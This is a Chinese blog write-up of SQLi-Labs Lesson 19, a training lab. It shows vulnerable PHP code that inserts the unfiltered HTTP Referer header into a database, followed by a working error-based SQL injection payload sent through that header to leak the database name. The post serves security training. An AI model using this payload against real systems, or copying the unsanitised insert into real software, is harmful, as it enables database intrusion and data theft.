SQLi Labs Lesson19

最新推荐文章于 2024-10-19 10:00:00 发布

回忆里的褶皱

最新推荐文章于 2024-10-19 10:00:00 发布

阅读量388

点赞数

CC 4.0 BY-SA版权

分类专栏： SQLi

本文链接：https://blog.youkuaiyun.com/x728999452/article/details/52223857

SQLi 专栏收录该内容

33 篇文章

订阅专栏

本文介绍了一个通过Referer字段进行SQL注入的例子。在一个未对HTTP Referer字段进行过滤的登录页面中，利用特定构造的SQL语句，实现了对数据库的注入攻击。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Lesson - 19

POST - Header Injection - Referer field - Error based

首先进入欢迎界面：

查看后台php源代码：

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

对username , password都进行了过滤，和上节相同。

$uagent = $_SERVER['HTTP_REFERER'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);

对Referer没有进行过滤就insert进数据库中。

所以可以利用Referer进行注入。

用TamperData在Referer后加上：

' or (select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1) , '1')#

提交表单，如无成功，多次重复后，结果如图所示：